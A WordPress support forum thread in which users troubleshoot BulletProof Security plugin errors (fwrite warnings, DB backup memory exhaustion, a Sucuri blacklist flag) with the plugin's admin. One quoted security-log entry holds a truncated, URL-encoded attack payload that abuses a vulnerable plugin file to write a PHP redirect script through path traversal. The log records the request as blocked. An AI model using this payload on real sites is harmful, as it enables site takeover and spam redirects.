fwrite() expects parameter 1 to be resource, boolean given in db-security.php on line 745

[John Evans]

I’m dealing with a recently hacked website that is literally just an under construction page right now as I figure out what is going on. I get about 5 copies of the security log mailed to me every day after it hits the 1/2MB size I believe. I today also started getting a PHP error log. The last thing going on is this site is still showing as compromised on Sucuri Sitecheck. So if you could work with me on eliminating these issues and giving me more feedback on Sucuri it would be great. None of the hacked files from the old website exist anymore so I’m not sure why Sucuri keeps showing it. Anyways snippets and more information below.

Here is a snippet from the php error log that was sent. The same message is repeated for hundreds of lines through a range of 200 lines or so but the same error message…

[06-Dec-2015 17:17:13 UTC] PHP Warning:  fwrite() expects parameter 1 to be resource, boolean given in /home/content/p3pnexwpnas01_data01/44/2974944/html/wp-content/plugins/bulletproof-security/includes/db-security.php on line 745

Here is a snippet from the security log that gets mailed all the time. Its literally the same error typically repeated hundreds of times. This file no longer exist that it is trying to reach. The site is getting pounded by this and its always from different IP address…

[403 POST Request: December 6, 2015 - 3:33 am]
Event Code: PFWR-PSBR-HPR
Solution: http://forum.ait-pro.com/forums/topic/security-log-event-codes/
REMOTE_ADDR: 183.101.189.172
Host Name: 183.101.189.172
SERVER_PROTOCOL: HTTP/1.0
HTTP_CLIENT_IP:
HTTP_FORWARDED:
HTTP_X_FORWARDED_FOR:
HTTP_X_CLUSTER_CLIENT_IP:
REQUEST_METHOD: POST
HTTP_REFERER:
REQUEST_URI: /wp-content/plugins/visual-columns/sys.php
QUERY_STRING:
HTTP_USER_AGENT: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
REQUEST BODY: url=http://tripsbymike.com/wp-content/plugins/visual-columns/sys.php&login=file_put_contents&password=../../../made.php&re_password=%3C?php%0D%0A@set_time_limit(0);%0D%0A@error_reporting(0);%0D%0A@ini_set('max_execution_time',%200);%0D%0A$links_str%20=%20'http://threivetrack.com/?utm_source=1%26sec=61ee609490%26sleep_id=2224dc49a861;http://omrcc.net/?a=370957%26c=wl_con';%0D%0A%0D%0A$redir_template%20=%20'%3Cmeta%20http-equiv=%22refresh%22%20content=%222;%20url=%25s%22%3E';%0D%0A%0D%0A$links%20=

Lastly the log below is from Sucuri Sitecheck. I did this same process to another site on GoDaddy Managed Hosting and thus far the site has been fine. This one just isn’t clearing up but it shows up clean in all other scanners I’ve checked…

http://tripsbymike.com/wp-includes/js/jquery/jquery.js?ver=1.11.3
http://tripsbymike.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1
http://tripsbymike.com/wp-content/themes/headway/library/media/js/jquery.fitvids.js?ver=4.3.1
http://tripsbymike.com/wp-content/uploads/headway/cache/responsive-grid-js-e6e6939.js?ver=4.3.1
http://tripsbymike.com/wp-content/themes/headway/library/media/js/html5shiv.js
http://tripsbymike.com/wp-content/themes/headway/library/media/js/ie8.js

[AITpro Admin]

The php error indicates there is a problem with your DB Backup folder path or URL.  To fix the problem do these steps:  Go to BPS Pro DB Backup > click the Create Backup Jobs accordion tab > use the Rename|Create|Reset Tool > click the Rename|Create|Reset button.

If you do not want to receive Security Log emails you can instead just choose to automatically delete the Security Log and not email it to you.  All alerting and email options are on the S-Monitor page.

As far as Sucuri goes I have no idea how you would remove yourself from a blacklist or change anything on the sucuri website so you would have to ask the sucuri folks about how to do that.  And the “List of scripts included” you posted just means those are some scripts that Sucuri found – nothing more and nothing less.  They are not saying there is a problem with any of those scripts that they list.

[Living Miracles]

[topic has been merged into this relevant topic]
Hi,

I’m trying to troubleshoot some DB Backup-related PHP errors and warnings (on GDMWP site—I’m aware of the limitations of the platform). I started seeing the following warnings:

[02-Jan-2018 20:02:29 UTC] PHP Warning: fwrite() expects parameter 1 to be resource, boolean given in /home/content/xxxxxxxxxxxxx_xxxxxx/xx/xxxxxxx/html/wp-content/plugins/bulletproof-security/includes/db-security.php on line 676
[02-Jan-2018 20:02:29 UTC] PHP Warning: fwrite() expects parameter 1 to be resource, boolean given in /home/content/xxxxxxxxxxxxx_xxxxxx/xx/xxxxxxx/html/wp-content/plugins/bulletproof-security/includes/db-security.php on line 677
[02-Jan-2018 20:02:29 UTC] PHP Warning: fwrite() expects parameter 1 to be resource, boolean given in /home/content/xxxxxxxxxxxxx_xxxxxx/xx/xxxxxxx/html/wp-content/plugins/bulletproof-security/includes/db-security.php on line 678

Also these:

[03-Jan-2018 21:55:28 UTC] PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 81 bytes) in /home/content/xxxxxxxxxxxxx_xxxxxx/xx/xxxxxxx/html/wp-includes/wp-db.php on line 2523
[03-Jan-2018 21:57:23 UTC] PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 85 bytes) in /home/content/xxxxxxxxxxxxx_xxxxxx/xx/xxxxxxx/html/wp-includes/wp-db.php on line 2523

So, I deleted the DB backup jobs, also deleted the DB backup folder via FTP, recreated the DB backup jobs and then ran a manual backup. After that, I got the following:

[04-Jan-2018 01:15:28 UTC] PHP Warning: copy(/.htaccess): failed to open stream: Permission denied in /home/content/xxxxxxxxxxxxx_xxxxxx/xx/xxxxxxx/html/wp-content/plugins/bulletproof-security/admin/db-backup-security/db-backup-security.php on line 200
[04-Jan-2018 01:15:34 UTC] PHP Warning: copy(/.htaccess): failed to open stream: Permission denied in /home/content/xxxxxxxxxxxxx_xxxxxx/xx/xxxxxxx/html/wp-content/plugins/bulletproof-security/admin/db-backup-security/db-backup-security.php on line 200

So… I thought, well, I’ll try reuploading BPS Pro via the “Upload Zip Install” area. This didn’t seem to make a difference. I ended up just getting a same warning as I’d seen before:

Any idea what else I could try or what could cause those warnings?

Thank you so much,
Jutta

[AITpro Admin]

So are you saying that the fwrite errors are no longer occurring and now the other php errors are occurring?

[AITpro Admin]

The PHP Fatal error: Allowed memory size of 134217728 bytes exhausted error probably means that your database is very large and the DB backup is using up all of your memory when you try to do a DB Backup.  Go to the BPS Pro > DB Monitor page > DB Status & Info tab page > what do you see for “DB Total Size”?  If your database is extremely large then you can create several DB Backups for certain DB tables to keep the total size of each Backup Job smaller.

[Living Miracles]

Hi,

Sorry, no, the fwrite errors continued happening as well.

Regarding the size of the database, I’m seeing 102.52 MB / 104,982 KB.

Thanks,
Jutta

Update: I’m running into the same issues on another non-GoDaddy Managed WordPress site as well.

[AITpro Admin]

Try this for the fwrite problem/errors >

The php error indicates there is a problem with your DB Backup folder path or URL. To fix the problem do these steps: Go to BPS Pro DB Backup > click the Create Backup Jobs accordion tab > use the Rename|Create|Reset Tool > click the Rename|Create|Reset button.

100MB should not cause out of memory errors usually, unless of course you are already using a significant amount of your allocated memory for plugins, etc. Try creating a manual DB Backup Job and only select up to 50MB of data for that DB Backup Job. You can figure out what equals up to 50MB by going to the BPS Pro > DB Monitor page > DB Status & Info tab page and looking at the total sizes of DB Tables.

[Author]

Posts